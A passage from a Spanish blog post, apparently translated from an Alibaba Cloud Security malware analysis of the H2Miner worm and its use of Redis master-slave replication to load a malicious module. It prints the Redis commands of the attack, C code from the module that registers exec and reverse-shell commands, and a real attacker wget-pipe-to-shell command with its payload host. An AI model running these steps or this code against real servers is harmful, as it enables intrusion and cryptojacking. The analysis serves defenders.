{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/es\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Se ha detectado un nuevo brote de gusanos H2Miner que explotan Redis RCE.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Hace un d\u00eda, uno de los servidores de mi proyecto fue atacado por un gusano similar. En busca de respuestas a la pregunta \"\u00bfqu\u00e9 fue esto?\" encontr\u00e9 un art\u00edculo maravilloso del equipo de Alibaba Cloud Security. Como no encontr\u00e9 este art\u00edculo en Habr, decid\u00ed traducirlo especialmente para ustedes <3\n<\/p><\/blockquote>\n

Introducci\u00f3n<\/h2>\n

\nRecientemente, el equipo de seguridad de Alibaba Cloud detect\u00f3 un brote repentino de H2Miner. Este tipo de gusano malicioso utiliza la falta de autenticaci\u00f3n o contrase\u00f1as d\u00e9biles para Redis como puerta de entrada a sus sistemas, luego sincroniza su propio m\u00f3dulo malicioso con el esclavo mediante sincronizaci\u00f3n maestro-esclavo y, finalmente, carga este m\u00f3dulo malicioso en la m\u00e1quina atacada y ejecuta instrucciones maliciosas.<\/p>\n

En el pasado, los ataques a sus sistemas se llevaban a cabo principalmente mediante un m\u00e9todo que involucraba tareas programadas o claves SSH que se grababan en su m\u00e1quina despu\u00e9s de que el atacante acced\u00eda a Redis. Afortunadamente, este m\u00e9todo no se utiliza a menudo debido a problemas de control de permisos o a la variaci\u00f3n en las versiones del sistema. Sin embargo, este m\u00e9todo de carga del m\u00f3dulo malicioso puede ejecutar comandos del atacante o acceder al shell, lo que es peligroso para su sistema.<\/p>\n

Debido a la gran cantidad de servidores<\/a> Redis, que se encuentran en Internet (casi 1 mill\u00f3n), el equipo de seguridad de Alibaba Cloud, como recordatorio amistoso, recomienda a los usuarios no proporcionar acceso a Redis desde la red y revisar regularmente la solidez de sus contrase\u00f1as, as\u00ed como asegurarse de que no sean vulnerables a ataques de fuerza bruta.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner es un botnet de miner\u00eda para sistemas basados en Linux que puede infiltrarse en su sistema de varias maneras, incluida la falta de autenticaci\u00f3n en Hadoop yarn, Docker y la vulnerabilidad de ejecuci\u00f3n remota de comandos de Redis (RCE). El botnet funciona cargando scripts maliciosos y malware para minar sus datos, ampliando horizontalmente el ataque y manteniendo comunicaci\u00f3n de comando y control (C&C).
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nPavel Toporkov comparti\u00f3 su conocimiento sobre este tema en ZeroNights 2018. Despu\u00e9s de la versi\u00f3n 4.0, Redis admite la funci\u00f3n de carga de m\u00f3dulos externos, lo que permite a los usuarios cargar archivos .so, compilados con C, en Redis para ejecutar ciertos comandos de Redis. Aunque esta funci\u00f3n es \u00fatil, presenta una vulnerabilidad en la que, en modo master-slave, los archivos pueden ser sincronizados con el esclavo a trav\u00e9s del modo fullresync. Esto puede ser utilizado por un atacante para transferir archivos .so maliciosos. Una vez completada la transferencia, los atacantes cargan el m\u00f3dulo en la instancia de Redis atacada y ejecutan cualquier comando.<\/p>\n

An\u00e1lisis del gusano malicioso<\/h2>\n

\nRecientemente, el equipo de seguridad de Alibaba Cloud descubri\u00f3 que el tama\u00f1o del grupo de mineros maliciosos H2Miner hab\u00eda crecido repentinamente. Seg\u00fan el an\u00e1lisis, el proceso general de la aparici\u00f3n del ataque es el siguiente:<\/p>\n

\"Se
\n
\nH2Miner utiliza RCE Redis para llevar a cabo un ataque completo. Primero, los atacantes atacan servidores Redis desprotegidos o servidores con contrase\u00f1as d\u00e9biles.<\/p>\n

Luego utilizan el comando config set dbfilename red2.so<\/code> para cambiar el nombre del archivo. Despu\u00e9s de eso, los atacantes ejecutan el comando slaveof<\/code> para establecer la direcci\u00f3n del host de replicaci\u00f3n master-slave. <\/p>\n

Cuando la instancia de Redis atacada establece una conexi\u00f3n master-slave con un Redis malicioso que pertenece al atacante, el atacante env\u00eda el m\u00f3dulo infectado usando el comando fullresync para sincronizar los archivos. Luego, el archivo red2.so se cargar\u00e1 en la m\u00e1quina atacada. Despu\u00e9s de eso, los atacantes usan el m\u00f3dulo .\/red2.so para cargar este archivo .so. El m\u00f3dulo puede ejecutar comandos del atacante o iniciar una conexi\u00f3n reversa (backdoor) para obtener acceso a la m\u00e1quina atacada.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nDespu\u00e9s de ejecutar un comando malicioso, como \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, el atacante restablecer\u00e1 el nombre del archivo de respaldo y har\u00e1 una descarga del m\u00f3dulo del sistema para borrar sus huellas. Sin embargo, el archivo red2.so seguir\u00e1 estando en la m\u00e1quina atacada. Se recomienda a los usuarios estar atentos a la presencia de dicho archivo sospechoso en la carpeta de su instancia de Redis.<\/p>\n
Adem\u00e1s de eliminar algunos procesos maliciosos para robar recursos, el atacante sigui\u00f3 un guion malicioso, descargando y ejecutando archivos maliciosos en formato binario para 142.44.191.122\/kinsing<\/a><\/noindex>. Esto significa que el nombre del proceso o el nombre del directorio que contiene kinsing en el host puede indicar que esta m\u00e1quina ha sido infectada por este virus.<\/p>\n
Seg\u00fan los resultados de la ingenier\u00eda inversa, el malware realiza principalmente las siguientes funciones:<\/p>\n